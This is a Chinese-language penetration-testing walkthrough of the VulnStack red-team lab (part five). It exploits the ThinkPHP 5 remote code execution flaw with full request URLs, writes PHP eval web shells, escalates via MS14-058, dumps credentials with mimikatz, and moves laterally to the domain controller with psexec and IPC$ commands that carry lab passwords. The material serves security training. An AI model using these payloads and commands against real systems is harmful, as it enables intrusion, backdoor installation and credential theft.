内网之靶场之VulnStack红队(五)

环境搭建:

内网之靶场之VulnStack红队(五)

外网:192.168.135.0  内网:192.168.138.0

边界机器:win7  外网:192.168.135.150  内网:192.168.138.136

账号:

heart 123.com    #本地管理员用户

sun\Administrator dc123.com    #域管用户

内网机器:winserver 2008  内网:192.168.138.136

账号:

sun\admin 2020.com    #由于需要改密码,我更改为2020.com1

(win7上开启了防火墙,访问不到web服务,暂时关闭了防火墙,后续渗透过程中再具体看看有没有什么影响)

开启渗透:

扫描开启端口,发现开启了80和3389端口

内网之靶场之VulnStack红队(五)

测试3306端口,不允许远程登陆,看来只能搞80端口了

内网之靶场之VulnStack红队(五)

访问80端口,哼thinkphp框架,还是v5版本,之前搞过一个靶场,知道这个版本的框架存在远程代码执行漏洞

内网之靶场之VulnStack红队(五)

获取数据库用户名

http://192.168.135.150//thinkphp/public/?s=.|think\config/get&name=database.username

内网之靶场之VulnStack红队(五)

获取数据库密码(失败)

http://192.168.135.150//thinkphp/public/?s=.|think\config/get&name=database.password

内网之靶场之VulnStack红队(五)

获取PHP探针

http://192.168.135.150//thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

内网之靶场之VulnStack红队(五)

 

执行系统命令

http://192.168.135.150//thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

内网之靶场之VulnStack红队(五)

写入一句话木马echo ^<?php @eval($_GET["code"])?^>>s.php

 

http://192.168.135.150//thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= echo "<?php @eval($_POST[“shy”]);?>" >shy123123.php内网之靶场之VulnStack红队(五)

查看一下,写入成功,

内网之靶场之VulnStack红队(五)

但是无法执行,无法查看,不知道哪里出了问题,只能换方法再上传一次了

http://192.168.135.150//thinkphp/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./test.php&vars[1][]=<?php echo 'ok';?>

内网之靶场之VulnStack红队(五)

但是还是失败。换思路。

查看add.php文件,发现是个木马

内网之靶场之VulnStack红队(五)

读取源码

内网之靶场之VulnStack红队(五)

登陆密码错误,需要将上图的密码进行MD5解密后进行登陆

内网之靶场之VulnStack红队(五)

分析一波这个后门的源码

function s()函数的作用:

内网之靶场之VulnStack红队(五)

解密后发现它定义了一个函数,这个函数就是获取到密码,然后通过md5加密,与$password进行对比, $password 不为空,且相等才允许登陆。内网之靶场之VulnStack红队(五)

进入大马页面,根据大马进行测试,发现之前远程命令执行是可以写入成功的,只不过是我自己敲错了而已

内网之靶场之VulnStack红队(五)

 

利用大马,上传冰蝎马

内网之靶场之VulnStack红队(五)

成功连接

内网之靶场之VulnStack红队(五)

收集信息:64位操作系统 两个网段,

内网之靶场之VulnStack红队(五)

内网之靶场之VulnStack红队(五)

利用冰蝎生成木马shyzz.exe并上传到该网站进行cs上线

内网之靶场之VulnStack红队(五)

利用ms14-058提升至系统权限

内网之靶场之VulnStack红队(五)

运行mimikatz抓取明文账户密码

内网之靶场之VulnStack红队(五)

内网之靶场之VulnStack红队(五)

扫描内网网段192.168.138.0

portscan 192.168.138.0-192.168.138.255 445 arp 50

内网之靶场之VulnStack红队(五)

发现存活主机:192.168.138.138

内网之靶场之VulnStack红队(五)

尝试psexec直接传递账号密码,但由于DC在内网,无法出网,无法连接到CS的服务端,因此无法反弹回shell了,cs的服务端也无法直接连接到DC,也无法将后门上传到dc上

内网之靶场之VulnStack红队(五)

这种情况下可以用已经上线主机做listener 来让dc主机上线:

边界机win7上创建监听器

内网之靶场之VulnStack红队(五)

内网之靶场之VulnStack红队(五)

生成包含beason的完整payload,常用于内网复杂环境中

内网之靶场之VulnStack红队(五)

将生成的beason.exe后门文件和psexec.exe上传到边界机上

内网之靶场之VulnStack红队(五)

执行命令shell c:\123\psexec -accepteula \\192.168.138.138 -u sun\administrator -p dc123.com -d -c c:\123\beacon.exe

但是使用psexec会提示密码过期了

内网之靶场之VulnStack红队(五)

思考了一下既然抓到了域用户的账号密码,那么就自己使用ipc$上传后门到DC然后getshell吧

建立IPC$连接

内网之靶场之VulnStack红队(五)

上传后门文件,查看DC服务器的时间,设置计划任务

内网之靶场之VulnStack红队(五)

DC已经上线了

内网之靶场之VulnStack红队(五)